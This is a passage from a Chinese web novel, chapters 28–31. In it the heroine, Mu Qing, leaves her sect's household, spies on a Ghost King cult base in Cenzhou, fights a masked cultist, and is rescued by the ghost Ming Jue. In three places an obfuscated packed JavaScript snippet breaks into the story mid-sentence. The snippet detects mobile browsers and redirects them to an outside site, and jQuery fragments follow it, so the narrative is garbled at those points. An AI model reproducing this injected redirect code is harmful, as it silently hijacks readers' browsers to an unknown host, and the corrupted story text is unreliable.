慕情抱着膝盖,下巴搁在手臂上,眼神飘忽地望着远处的灯火,沉默了好一会儿,才带着浓重的鼻音,闷闷地说:“……我想起来,我和他……为什么分开了。”
语气里是化不开的忧伤。
无心迷惑:“为什么分开?你们什么时候分开过?”
他心里生出一丝警惕,预料到自己可能又要陷入与小师妹的鸡同鸭讲中了……
慕情沉默许久,久到无心以为她醉得睡过去了,才听到她低低的声音,像一片羽毛飘落:“因为……他不喜欢我。”
这五个字,她说得极轻,却像用尽了全身力气。
“……你从哪儿得的结论?”
无心想起月悬亲手种下的桃花树,还有最近异常的表现。
不喜欢?反正他是不信的。
而且……无心摸了摸下巴:“他之前那样冷淡,你不是也追得挺起劲?”
这段时间看着两人的发展,他都有点相信在无名湾时看到的那个幻境了。
一向清冷自持的大师兄能说出那样的话,怎么可能不爱,他分明爱得要死好吗。
慕情摇头,“我、我认错人了……”
“啊?”无心惊得瞪大了眼,这是什么狗血的走向,大师兄都动心了,你跟我说认错人了?
“那也不对啊,”他随即反应过来,“我可是进过你的幻境的,那个男子明明跟大师兄一模一样。”
慕情摇摇晃晃地站起来,夜风吹得她衣袂翻飞,仿佛下一刻就要乘风而去。
“因为,那只是……一种游戏。”
“游戏?”无心彻底迷惑了,这么真实的游戏他怎么从来没听说过?
慕情突然弯腰,凑近他,伸出手指点在他的眉心,眼神醉得迷离。
“对,游戏……因为我选择了他,所以他才‘爱’我……如果我选择你,”她的指尖微微用力,无心感觉自己的心脏也跟着猛地一跳,“你也会……很爱很爱我。”
“我……”无心张了张嘴。
慕情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807897|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收回手指,踉跄着退开一步,拎起旁边的酒坛,像个顽童般摇晃着身体,在狭窄的屋脊上摇摇晃晃地走。
“你会被控制……说出你不愿说出的话,做出你不愿做的事……因为……我需要,我想要……仅此而已。”
无心越听越糊涂:“那岂不是像某种能控制人心的蛊毒邪术?我倒是听说过南疆有这样的邪物,但大师兄那么厉害,意志坚定如磐石,怎么可能甘愿受这种邪术的控制和驱使?”
慕情摇头:“并不是……你可以把它当成一种……幻境。”
她停下脚步,仰头看着浩渺的夜空:“在那里,我不是我,他自然也不是他……那是只有我一个人的独角戏,沉迷其中的是我,不甘心是一场游戏的也是我……从头到尾,只有我。”
“你们确实没有小师妹,因为我……本就不存在。我不是眷王府的小师妹,也不是别的什么人。”
“不对吧?”无心挠头,“小师妹你是不是又在编故事哄我?还是喝醉了说胡话?什么你不存在,你不是你的?你好好地站在这儿,而且师父师娘明显认识你。”
他越想越不对劲,小师妹这状态,怕不是又被什么诡异幻境魇住了吧?
慕情只是摇头,不肯再说了。
她用力吸了吸鼻子,像是下定了某种决心,语气突然变得坚定。
“我不想……再重走过去的路了。好不容易重来一次,我要去做点我应该做的事情……嗯!回去收拾东西,明天就走!”
“走?!”无心大惊失色,差点从屋顶上滑下去,“不是,小师妹!等等!怎么就突然要走了?走去哪儿啊?”
他明明是来当和事佬的!这要是让大师兄知道,他开导着开导着把小师妹给说“没”了,大师兄不得用朔光把他削成透光的土豆片?!
慕情却不顾他的阻拦,将手中酒碗往旁边一扔,跳下屋檐,脚步虚浮却坚定地回屋去了。
虽然是酒后之言,但醒来后慕情依然没有忘记。
这段时日攒钱也攒得差不多了,她简单收拾了行囊,将银钱贴身放好,就去找眷王李乘风辞行。
李乘风初闻她要走,眉头紧锁,断然不同意:“胡闹!你身体尚未完全稳固,外面世道不太平,你一个姑娘家独自远行,如何使得?”
慕情早有准备,使出浑身解数软磨硬泡,又是保证自己武功足以自保,又是强调自己需要理清思绪,寻找身世线索,甚至搬出了夏姨调养后身体已无大碍的“医嘱”。
李乘风拗不过她,也不好像对待自己徒弟一样严厉命令,最终无奈地叹了口气,摆摆手:“罢了,你自己去跟听寒说吧,过了他那一关再说。”
慕情的心瞬间提到了嗓子眼。跟月悬说?还要他同意?
李乘风笑了笑,“怎么?你难道还打算不辞而别?”
慕情无法反驳,离开主院后,几乎是磨磨蹭蹭,一步三挪地蹭到了止院门口。
阳光透过稀疏的树叶洒下斑驳的光影,院子里很安静,只有风吹过叶子的沙沙声。
她深吸了好几口气,才鼓起勇气,背着那个小小的包袱,进了止院,敲响书房的门。
“进来。”清冷的声音传来。
慕情推门而入。
月悬正坐在书案后,低头看着一份案卷。
阳光透过窗棂,在他身上勾勒出金色的轮廓,清俊得不似凡人。听到脚步声,他抬起头,目光落在她肩上的包袱时,眼神几不可察地一凝。
“月悬师兄……”慕情的声音有些干涩,手指紧张地抠着包袱带子,“我……我是来辞行的。我想出去走走,游历一番。”
月悬握着卷宗的手指微微收紧,指节有些泛白。
他沉默了很久,才缓缓问道:“可是在府中待得不开心了?”
“没有没有!”慕情连忙摆手,急切地否认,“大家都对我特别好,夏姨、王爷、师兄师姐们……都特别好!眷王府就像我的家一样!”她这话发自肺腑。
月悬垂眸:“那……是因为我?”
29. 第 29 章
“不不不!怎么会是因为你!”
慕情头摇得像拨浪鼓,急得声音都拔高了几分,随即又意识到失态,尴尬地低下头,声音也低了下去,带着浓浓的歉意。
“对不起啊,月悬师兄,以前是我不懂事,给你带来了很多麻烦和困扰。那些乱七八糟的话……都是我脑子不清醒,胡言乱语的……你都忘了吧。”
“……不懂事?”月悬重复着这三个字。
“嗯。”慕情用力点头,不敢看他,“我最近……想起了很多事情,脑子里很乱。想出去转转,看看不同的地方,也许……就能理清思绪了。”
她努力让自己的语气听起来平静而坚定。
月悬将手中的卷宗轻轻放在案上,发出轻微的声响。
“你身体不好,外出奔波恐怕会加重身体负担。若想出去散心,京城周边也有不少美景,我……”他顿了顿,“和无心他们,都可以陪你去。”
慕情连连摆手:“不麻烦师兄师姐们了,我就是想一个人静一静。”
“……”
月悬不再说话。他低下头,目光重新落在桌面的案卷上。
书房里陷入一片令人窒息的寂静,只有窗外风吹竹叶的沙沙声,和他指腹无意识摩挲纸张边缘的细微声响。
慕情看着他专注的侧脸,知道他在迟疑。
月悬看着冷淡,但其实非常关注他们这些师弟师妹,他其实并不是几人中年纪最大的那一个,却因为大师兄的身份,总是要担几分责任,为他们多考虑几分。
她心口酸酸软软的,又泛着闷闷的疼,连呼吸都不自觉地沉重了些。
月悬突然抬头看她,眉头轻皱,“怎么了?不舒服?”
他手指一动,便要转动轮椅过来看她。
慕情下意识地后退了两步,深吸一口气,强压下心头的酸涩,嘴角扯出笑容。
“我没事,放心吧师兄,我很厉害的,肯定能保护好自己!”
月悬看着两人再次拉远的距离,垂了垂眼睫,沉默了片刻,才低低地开口:“我自是……相信你的。”
“那……我就走啦?”慕情不愿再耽搁下去。
她观察着他的表情,见他嘴角微垂着,似乎有些不高兴,慌慌张张地做出了一堆保证。
“我会好好照顾自己的!每到一个地方都寄信回来报平安,逢年过节肯定回来,还会给你们带礼物的!”
不管怎么说,眷王府是她在这个世界上唯一有归属感的地方,只要他们还愿意接纳她,这里就是她的家。
月悬这才抬眼,“出门在外,切记小心谨慎,莫要轻信他人。有事便立刻给我传信,”
他顿了顿,语气郑重:“若遇紧急情况,来不及传信,就去寻当地清明司衙门求助,我记得义父给了你一块玄铁令?”
慕情从包裹里翻出那块玄铁制的令牌,上面写着“眷王府”三个字。
月悬的目光落在令牌上,然后,他修长的手指伸向自己腰间,取下一枚雕刻精美的白玉环,放在那块令牌之上。
“这是我的私人信物……见物如见人,必要时或许能派上用场。”
他没有说这玉环能调动什么,代表着多大的分量,但那份珍重,已不言而喻。
慕情笑起来,将玉环攥在手心。
“嗯!谢谢师兄!”
月悬看着她的笑容,千言万语到了嘴边,只剩下一句“嗯。早点回来。”
慕情心头一颤,又有些发酸,不敢再看他的眼睛,含糊地应了声“嗯”,抱着包袱跑出了书房。
她并不想把离别弄得声势浩大。得到月悬和王爷的首肯后,她便趁着早饭之前,先一步离开了,只给其余几位师兄师姐留下了一封告别信。
虽然早就已经在为游历做准备,但决定下得终究有些仓促。想到最近承了赵墨华不少人情,慕情在出城前特意绕了点路,寻到他留下的那个地址。
那是一座位于京城偏僻角落的宅邸,门庭高大,朱漆大门厚重威严,透着一股低调的奢华,却奇怪地没有悬挂任何匾额。
清晨的薄雾尚未散尽,宅邸笼罩在一片静谧之中。
慕情有些担心会打扰到他,犹豫了一下,仔细考虑片刻,还是上前叩响了门环。
沉重的声响在寂静的巷子里回荡。片刻后,侧门开了一条缝,露出赵墨华身边那个总是沉默寡言、眼神锐利的长随的脸。
“慕姑娘?”长随有些意外。
“抱歉这么早打扰,”慕情先道了个歉,然后问道,“你家公子在吗?我……要离开京城一段时间,特来辞行。”
长随摇摇头:“公子不在府中。”
慕情有些意外,却不好追问,留下口信言明去向,表达感谢之意,然后就转身汇入清晨稀疏的人流,踏上了南下的路途。
慕情此行并非漫无目的。离开京城后,她一路风尘仆仆,直奔数百里外的涔州。
涔州地处要冲,邺河与澜江在此交汇,滋养出丰饶的土地和繁华的水运。
但她的目标并非车水马龙的涔州城,而是城外水网深处,一个名为“洼子口”的水寨。
根据前世游戏的记忆,这里表面隶属江湖大派“惊涛门”管辖,实则藏着鬼王教的一个据点。
游戏里,她曾意外被掳走,一路带到了这里,又被某种诡异手段弄得失去了意识,险些被绑上一个奇怪的祭祀台。
最后是一个好心的鬼影,将她从囚牢中救了出来,带离了洼子口,才得以脱险。
这个名字叫“明绝”的大鬼,也是后来带她去鬼市的那个朋友。
他性格孤僻冷漠,对万事万物都漠不关心,当时救下她后,只是将她安置在一处废弃的干净小屋,待她醒来与寻来的师兄师姐汇合后,便消失无踪。
后来,慕情跟着他们一起追查洼子口,却只找到一些被匆忙清理过的、无关痛痒的表面线索。
寨中渔民不少暗中信仰鬼王教,但多为鬼王教底层外围人员,对所谓的祭祀和慕情遭遇的情况一问三不知。
不过有一点几乎可以肯定的是,鬼王教已经向惊涛门渗透,高层中定然有他们的接应人。
根据各方面线索,眷王府众人推测,应该是鬼王教在此临时设立了一个秘密据点,进行某种邪恶仪式。
而且,这群人中,很可能有鬼王教的核心人员。
慕情不知道鬼王教是随机抓人正好抓到了她,还是专门抓的她。
他们都偏向于后者,但并没有找到明显证据。
既然要查,就不能再被动等待。谁知道这一次,鬼王教的屠刀是否还会再次指向她?
此时距离那段剧情的发生还有一段时间,慕情决定主动出击,提前潜入洼子口暗中查探。
若能神不知鬼不觉地潜入核心区域,找到关键证据,那是再好不过。
而她独自行动的另一个重要原因,就是要找到明绝。
记忆中,他虽然实力深不可测,但因为某种限制,魂体虚弱,甚至难以长时间维持人形。
当初在竭临港时,那个沅儿姐姐把固魂珠给了她,正好派得上用场。
不过,这只大鬼行踪诡秘,他们的第一次见面虽是在涔州洼子口,但并不代表他长居那处,能不能找到人还是个未知数。
慕情在洼子口附近水域悄然探查了数日,并未寻到明绝的踪迹。
她不再耽搁,趁着附近州县有流民经过洼子口寻求庇护的机会,迅速进行伪装。
身上换成特意弄脏磨破的粗布麻衣,用特制的草药汁液将裸露的皮肤涂抹得黝黑粗糙,在左颊描绘出一道“疤痕”,混入流民队伍,顺利进入了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820450|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个水寨。
洼子口依水而建,规模不小。
数百艘大小渔船首尾相连,用粗大的绳索固定在岸边,形成一片漂浮的水上聚落。
码头喧嚣,简陋的集市人声嘈杂,供奉水神的小祠堂香火不断。
慕情始终低着头,扮演着沉默寡言、饱受苦难的流民女子,暗中却将地形、守卫换防、以及通往核心区域的路径一一记在心里。
夜深人静,水寨沉寂下来,只有江水拍打船舷的哗哗声。
慕情悄无声息地离群,如同融入夜色的狸猫,朝着记忆深处那个隐藏的入口潜去。
入口位于寨子深处一座看似废弃的破旧船坞下方,被杂物巧妙掩盖。或许是此地平时并非鬼王教的核心据点,守卫比预想中松懈许多。
慕情凭借着前世游戏中积累的“经验”以及一点小小的运气,费了些功夫破解机关,终于悄无声息地滑入了幽暗的地下通道。
通道潮湿阴冷,顺着石阶盘旋而下,一个被人工开凿出的地下空间豁然出现在眼前。
慕情没有看到她印象中的那个祭祀台,只有一个略显空旷的石厅。
石厅中央,矗立着一尊比人还高的狰狞雕像,其形态扭曲、面容抽象,看不出具体面貌,显然是鬼王教尊为信仰的“鬼王”。
雕像下方,散乱地堆放着一些木箱和卷轴。
慕情心中警惕,小心翼翼地靠近。她点燃一根特制的、光线微弱且几乎无烟的短烛,借着微光快速翻阅那些卷轴和散落的纸张。
大部分是宣扬鬼王教教义的狂热文字,充斥着对“鬼王”的顶礼膜拜和对所谓“鬼道永生”的鼓吹。
但其中几份字迹潦草的残破卷宗和书信,却让慕情的心一点点沉入谷底。
从这些零碎、隐晦的信息中,慕情发现鬼王教在发展壮大的同时,似乎一直在秘密进行着某种实验。
资料中关于这个实验的信息极少,且用词十分隐晦,但结合上下文,以及她自己对鬼王教的了解和猜测,很可能是某种造鬼实验……
世间常理,人死魂归幽冥,寻常魂魄如风中残烛,短暂徘徊后便循天道轮回,重入转生。
即便偶有例外,也大多是受怨气裹挟,成为扰乱人间秩序的源头,所以诞生了清明司这样的机构。
变成鬼后,仍能保持神志清晰,魂魄不散的,慕情只见过一个。
那就是明绝。
但鬼王教却似乎坚信鬼道也是一种修炼方式,利用教义精准地刺中底层民众对现世绝望、对来世恐惧的心理软肋,疯狂敛聚资源。
如果她的猜测为真,那他们很可能还将那些卑微、无助的穷苦信众,视作珍贵的……“耗材”。
这血腥的真相让慕情感到震惊,手指因愤怒而微微发抖,一股寒意顺着脊椎蔓延而上。
她攥紧拳头,心中暗劝自己冷静,这种违反天道人伦的实验,即便是有,也应当不会太大规模。
而且这些资料看起来都已经十分老旧了,不知为何没有销毁。
就在她思索间,外面突然传来微弱的动静。
“嗒…嗒…嗒…”极轻的脚步声从上方传来,节奏不急不缓,但在这寂静深夜里显得尤为诡异。
慕情迅速吹熄手中短烛,将资料放回原位,迅速而无声地缩进一个堆满废弃木箱的角落缝隙里,屏住呼吸,身体紧绷着。
微弱的脚步声越来越近,走进石厅之中。
慕情从木箱缝隙中往外望去,借着入口处石壁上镶嵌的萤石,看到那是一个高大的黑色人影。
他全身裹在一件黑袍之中,面容也隐在宽大的兜帽之下。
这衣着……这身形……
慕情感觉到一股浓烈的熟悉感,大脑飞速运转,一个画面迅速撞入脑海——
楚岚院!
30. 第 30 章
来人正是那个在漆黑院中,与她有过短暂交手的神秘黑衣人。
这个认知让慕情呼吸一滞,心里升起一丝不妙的预感。
黑袍人似乎并未察觉到角落里屏息凝神的窥视者,径直走到石厅中央,将那尊鬼王雕像下方的几十盏烛台一一点亮。
烛火次第燃起,原本幽暗死寂的地下空间逐渐被光芒充斥,亮如白昼。
光影晃动着,照在周围石壁和扭曲的鬼王雕像上,更显得阴森诡谲。
慕情不知他要干什么,幸好她藏身的角落堆满了木箱和各种杂物,形成了一个天然的、被阴影笼罩的死角。
她尽可能地放轻呼吸,担心那人对视线敏感,目光只停在他移动的黑色袍角和纹饰奇特的皮靴上。
黑袍人点完蜡烛,负手立于摇曳的烛光中心,并未急于动作。
四周安静下来,仿佛突然生出一种令人窒息的压迫感。
片刻后,一声轻笑在石厅中响起:“是哪位不请自来的朋友,何不出来一见?”
慕情的心瞬间一沉。
不好,暴露了。
好在石厅宽大,可藏身的并不止这一处,她只能赌他并不知道自己的具体位置。
此处距离通往地面的石阶出口并不算远,拼尽全力冲刺或许只需几息。
但眼前这黑袍人实力深不可测,上次在楚岚院短暂交手,她丝毫没占到便宜。
想在他眼皮底下全身而退,恐怕不太容易。
看来今天,少不得要挂点彩了……慕情咬紧牙关,藏在袖中的短剑悄无声息地滑入掌心。
不再有丝毫犹豫,她如同离弦之箭般从阴影中暴射而出!
短剑划破空气,带起一道森冷的寒光,直取黑袍人后心。
她深知先下手为强,后下手遭殃的道理,一出手便是全力!
“叮!叮!当!当!”金铁交击的声音在石厅内急促爆响。
两道身影快如鬼魅,瞬间缠斗在一起。
慕情剑招轻灵,角度刁钻,招招指向要害。
黑袍人身形飘忽不定,一双戴着黑色手套的手掌或拍或拂,总能精准地格开她的剑锋,偶尔反击,掌风凌厉,逼得慕情不得不回剑自救。
双方在极短时间内连过十数招。
慕情并未撤去外表上的伪装,但对方显然也对她记忆深刻,仅从她的身形和武功路数,就很快将她认了出来。
“你是慕情?”他突然停住了攻击的动作,语气有些奇异。
慕情横剑当胸,呼吸略微急促。她脑中飞快地思索着最佳逃跑方案,一边按兵不动,看黑袍人想说什么。
黑袍人也不介意她不答话,反而带着一丝戏谑,饶有兴致地问道:“你对鬼王教感兴趣?不知……可还满意你在这里看到的?”
“不过是一群装神弄鬼、蛊惑人心的跳梁小丑罢了!”慕情心中警惕,没提那些关于“实验”的资料,只做轻蔑状。
“蛊惑人心?”黑袍人像是听到了什么有趣的笑话,低低地笑了起来,笑声在石壁间回荡,更显诡异。
他话锋突然一转,“小丫头,一段时日未见,你武功精进不少。”
慕情心中微动,她倒是没有留意这一点,但今日与此人对上,确实不似上次那般吃力。
锁骨处微微发着热,身体充满力量。
她不由得想起那个古怪的咒印,心里略感不安。
黑袍人继续道:“既然你已经对我教有所了解,不如加入我们?我很欣赏你。”
慕情嗤笑:“道不同不相为谋。”
“道?”黑袍人摇头冷笑,“你不该跟眷王府和清明司搅在一起,我们……才应该是一路人。”
“那你未免太抬高了自己。”
慕情冷哼一声,不再与他废话,手腕猛地一抖,剑光陡然分化,化作三道虚影,分别袭向黑袍人上中下三路。
同时,她足尖一点,身形却朝着斜后方疾射而去。那个方向,正是石阶出口处。
狠话是要放的,路也是要跑的。
“敬酒不吃吃罚酒!”黑袍人的声音彻底冷了下来,带着凛冽的杀意,“来了我鬼王教的地盘,岂是你想走就走的?”
话音未落,他已如鬼魅般瞬间横移,挡在慕情与出口之间。
那只戴着黑色手套的手掌,裹挟着令人心悸的阴风迅速向她肩头抓来!
慕情瞳孔一缩,心知对方终于动了真格,此番恐怕不付出点代价,难以全身而退了。
拼了!
她咬牙将内力催动到极致,锁骨处的游仙印灼热感更甚,准备硬撼这避无可避的一击!
千钧一发之际。
“呼——”
一股浓郁得化不开的、带着刺骨阴寒的黑雾,毫无预兆地从石阶通道口汹涌而入,如同活物般,瞬间缠绕上黑袍人的手臂。
“咔嚓”一声渗人的轻响。
黑袍人发出一声闷哼,动作猛地一滞。
“什么东西?”他的声音惊怒不已,下意识地转移了攻击对象。
这画面实在有些诡异,慕情却心中一喜,是明绝!他终于出现了!
不得不说,历史总是惊人的相似,慕情来不及感慨,赶紧抓住机会,将全身力量灌注于剑尖,狠狠刺向黑袍人腰腹之处。
对方被黑雾缠住,但反应依然快得惊人,仓促间扭身闪避,但仍被凌厉剑气在腰侧划出长长一道口子,血迹瞬间渗出,动作也慢了下来。
趁此良机,慕情看也不看结果,足尖在石壁上一蹬,身体向出口疾掠而去。
一道高大沉默的黑色身影从黑雾中显形,从后方握住她的手臂,带着她冲出地道,略过外面举着火把赶来的守卫上空,迅速隐没在黑暗里。
两人一路疾驰,直到远离水寨数十里,进入一片荒无人烟的山野深处,明绝才在一处早已废弃的屋子前停下脚步。
这处废弃建筑虽然破旧,但屋顶完整,里面也还算整洁,倒是个遮风避雨的好去处。
他将慕情带到屋子里放下,抛给她一个小瓷瓶,声音低沉沙哑,像是许久未曾开口,带着生涩的摩擦感:“药。治伤。”
慕情接过药瓶,检查了一下自己,只是几处被掌风擦到的皮外伤,并无大碍。
她看着眼前沉默的大鬼,心中充满了重逢的喜悦和感激:“谢谢你。”
“你不该独自去那里。”明绝高大的身影背对着月光,看不清表情,声音冷淡没什么起伏。
慕情有些不好意思,“我也不想一个人去冒险,可是我找不到你。”
明绝神色微动:“找我?”
“是呀,我找了好久,”慕情有些见到朋友的兴奋,“你可能不认识我,觉得有些奇怪,但是我没有恶意,只是想见你一面。”
明绝的目光在她脸上停留了几息,似乎在审视着什么:“……我还以为,你想起来了。”
“啊?”这次轮到慕情懵了,她眨了眨眼,“想起来?想起什么?”
明绝却没有再解释的意思,他转身,似乎准备再次融入黑暗:“此地不宜久留。天亮之后,你去涔州城,找清明司。”
“等等,明绝。”慕情心里一急,下意识地叫出了他的名字。
明绝停下来,看向她的眼神中有些微诧异。
慕情亦是心跳如鼓,试探着问道:“你认识我?”
自穿越以来,这世界上所有人都对她十分陌生,包括师门众人和赵墨华、出云等。她本以为明绝也会如此,可他现在……似乎认识她?
明绝看着她混乱的样子,迟疑了片刻,才说道:“我一直在你身边,是你不记得了。”
“……什么?!”慕情瞳孔地震,几乎僵在原地,受到了极大的冲击。
一直在她身边?这个“一直”……是从什么时候开始的?从她穿越过来以后?还是更早之前?
她努力回忆着游戏里跟明绝的初见。在洼子口被救后,他也是如今天这样,把她带到这里,冷淡地扔下她就走。
后来还是慕情感念他的恩情,死缠烂打软磨硬泡才勉强跟他成了朋友。
明绝行踪诡秘,却总是能在她需要的时候出现,但她也从没有多想过,毕竟是鬼嘛,神出鬼没岂不是很正常。
可是明绝却说他一直在她身边?
一个刻意被她忽略、甚至逃避的可怕问题,此时再也无法压制地浮了上来,让她有些发寒。
她的身体早在车祸中毁了,可现在这个身体完好无损,还长得跟她一模一样……
那这具身体,是来自哪里?身体的原主人……又在哪里?
慕情只觉得头疼欲裂,看着明绝,嘴唇动了动,却发现自己竟有些不敢问出口。
明绝眼中幽光微闪,说道:“想不起来也没什么,好好休息。”
然而,慕情知道,逃避解决不了任何问题,既然有知情人在面前,没有不问的道理,一咬牙,还是道:
“等一下,我们可以聊聊吗?”
破旧的屋顶,瓦片残损,缝隙间倔强地生长着几丛枯黄的野草。
四野漆黑寂静,没有一丝灯火与人烟,唯有夜风吹过山林的呜咽声,更添荒凉。
慕情抱着膝盖,坐在冰冷的瓦片上。明绝坐在她身边不远处,高大的身影在月光下拉出长长的影子。
夜谈进行得异常艰难。
明绝的话极少,简直惜字如金。慕情问十句,他能答一句已是难得。
在他的只言片语中,慕情拼凑出一些模糊的信息:早在竭临港的时候,明绝就已经在她附近了。只是因为清明司众人的存在,他并未靠得太近。
但问及更早的事情,明绝却不肯开口了,只说等她自己想起。
慕情有些急:“要是我永远想不起来呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834151|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
明绝却只是淡淡道:“那也很好。”
慕情哑口无言,问不出来她只能自己胡思乱想。
她不由自主地想到那本名叫《梦中游仙》的画册,里面那个小女孩误入幽冥的故事,会跟她有关吗?
可那个故事太简单了,看着也像胡编乱造,实在没什么有用的信息。
她想了想,微微拉开领口,露出锁骨上的图案。
原先打斗时的异样感已经消失了,那图案与之前没有什么不同,颜色暗沉,静静蛰伏在莹白的皮肤上。
“你认识这个吗?”慕情问道。
明绝的目光落在那个印记上,缓缓点头,“游仙印,据说是一种……诅咒。”
慕情眼前微微一亮,追问道:“那你知道它的来历和解除方法吗?”
明绝却摇头,“只是略有耳闻,具体情况并不清楚。”
他的回答依旧简洁,却让慕情的心更凉了一分。
她忍不住小声问道:“那……我会死吗?”
明绝没有正面回答,只是用一种近乎陈述事实的平静语气说道:“死是一件好事。”
“可是我不想死。”
“那你要少用它。”
慕情心下微沉。
她想起刚才跟黑袍人战斗时的异样,这个所谓的“游仙印”,难道是她的力量来源之一?
天色将明,东方泛起鱼肚白。明绝站起身,高大的身影在晨曦微光中显得更加虚幻缥缈。
“我走了。”
慕情脑中一片混乱,也就没有再留他,从怀中掏出那颗固魂珠,递到他面前。
“这个给你,或许对你有用。”
明绝看了一眼便接过,简洁道:“多谢。”
接着,他也给了慕情回礼,是一个白森森的骨哨。
“有危险的时候就吹它,我会来。”
慕情小心翼翼地接过,在他离开之后,她试着吹了一下,废了好大的劲也没吹响。
她以为坏了,反复试了好几次,脸都憋红了,那骨哨就像个顽石,纹丝不动。
最后明绝的声音不知从何处遥遥飘来:“别乱吹,我能听到。”
慕情这才放下心来。
这趟行程虽然冒险,但总算没有白来。
她不敢再耽搁,趁着清晨薄雾未散,悄然混入涔州城,直接找到了城中的清明司衙门。
有眷王府的令牌,她顺利地暂居下来,至少在这里,是不用担忧鬼王教的人找来的。
她将洼子口的情况都写在书信中,着人快马送去了京城。
在那些资料中,除了关于“实验”的内容外,慕情得到的最有价值的信息是几个可疑地名和人名,虽然不清楚具体情况,可总能给师兄们的追查提供一些线索和方向。
自然,对于她是怎么得的消息,全部一笔带过。
·
京城之中,无心自从得知小师妹果真留书离京后,就马不停蹄地主动申请了个外地的案子,火速离京“避风头”,一点不敢在大师兄那日益低沉的冷气笼罩下多待一天。
这日,他风尘仆仆地赶回王府复命,刚踏进止院书房,还没来得及汇报,就见钟武拿着一封加急信件匆匆而入。
“公子,涔州清明司,慕情姑娘急信!”
月悬眸光微动,接过信拆开,目光快速扫过信笺,眉头却越皱越紧。
无心站在一旁,偷偷瞄到几行字,不禁惊了一头冷汗,“这……小师妹也太胆大了,一个人就敢往贼窝里闯?”
月悬没有回答,脸色已经十分冷凝,薄唇抿成一条冰冷的直线。
他将信放到一旁,立即铺开一张新的信纸开始回信。
无心在旁边看得暗自咂舌,偷偷猜测,大师兄把小师妹放走,这会儿肯定毁得肠子都青了。
片刻后墨迹干透,月悬将信封好,交由钟武命人送出,确保以最快速度抵达涔州。
然后他将慕情的信收起,对无心道:“此事需立即禀明义父商议对策。最迟明早,我要去一趟涔州。”
无心也有些担忧慕情,站起身道:“需要我一同前往吗?”
“不,”月悬道,“你另有安排,帮我去查一下惊涛门流风堂,尤其是堂主张见英。”
他直接分配了任务,显然一刻也不想耽搁。
“是!”无心立刻领命,不敢有丝毫怠慢。
月悬的回信一路急敢,很快送达涔州。
慕情将信拆开,里面内容简单,月悬只简要说了京城的情况,让她待在清明司不要乱跑,等他过来。
语气用词看着都挺正常。
但慕情是谁?是曾经把AI版月悬的每一个微表情、每一个语气词都研究透了的“真·骨灰级玩家”。
月悬改个标点符号她都能猜到意思,所以看完信之后,立即收拾东西,火速准备跑路……
31. 第 31 章
月悬信中一句多余的话都没有,说明他很有可能要亲自过来逮人了!
说不准这会儿都已经在路上了!
慕情几乎能想象到他沉着脸的表情,要是被他抓到,到时候别说继续游历了,估计连王府的大门都别想轻易迈出一步。
不敢耽搁,次日一早,她天蒙蒙亮时便在房中留下书信,匆匆翻墙溜走。
与明绝的夜谈,如同在她心中投入了一颗巨石。关于这具身体、关于游仙印、关于她“遗忘”的过去……太多谜团亟待解开,她不可能坐等别人去查。
尤其是现在鬼王教似乎开始对她感兴趣起来,身上的游仙印又如同一个定时炸弹,不知什么时候就会爆发。
就算死,也得做个明白鬼才行。
鬼王教的主要势力盘踞在东南沿海,敌在暗她在明,为了避免再次被盯上,慕情想了想,选择往西北去。
传闻中那位与她容貌相似的前朝玉音公主,最后的行踪就是在西北区域,那里或许会有什么线索。
于是,当月悬日夜兼程、以最快的速度赶到涔州清明司衙门时,迎接他的,只有人去屋空的客房,和桌案上另一封墨迹早已干透的书信。
他拿起那封薄薄的信,展开。
信上只有寥寥数语,大意是感谢师兄关心,但自己有必须去完成的事情,请他勿念,她会小心,也会按时写信报平安云云……
钟武跟在一旁,虽然没看到信上内容,但从自家公子脸上的表情也猜出了大概。
他小心翼翼道:“慕情姑娘身手不凡,也并非冲动莽撞的性格,公子别太担心了。”
月悬没接话,只是将手中的信纸捏得起了深深的皱痕。
·
慕情离开涔州后,便径直往西北方向去。
路途漫漫,她没有刻意赶路,买了匹毛驴骑着,一路体会各地风土人情,偶尔还能遇到一些奇人异事,帮助普通老百姓抓抓毛贼,打打强盗,倒也别有一番趣味。
每到一个城市,她都会略作停留,在城中打听一下游仙印和玉音公主的消息,但一直没有什么收获。
在外奔波的日子绝称不上舒适,遇到的人也并非全是好人。
慕情也没少被坑骗和欺负,每每这时,就会格外想念京城的师兄师姐们。
更让她有些懊恼的是,每到夜晚入睡,梦中总是会出现月悬的身影,大部分是前世游戏里的甜蜜日常,偶尔掺杂着今世算不上和谐的相处。
梦里,月悬会温柔地为她拂去鬓角的落花,会耐心地念着她喜欢的游记,会在她耍赖时无奈又纵容地将她抱起……
那些游戏里的日常,被梦境无限美化,镀上了一层温暖到不真实的柔光。
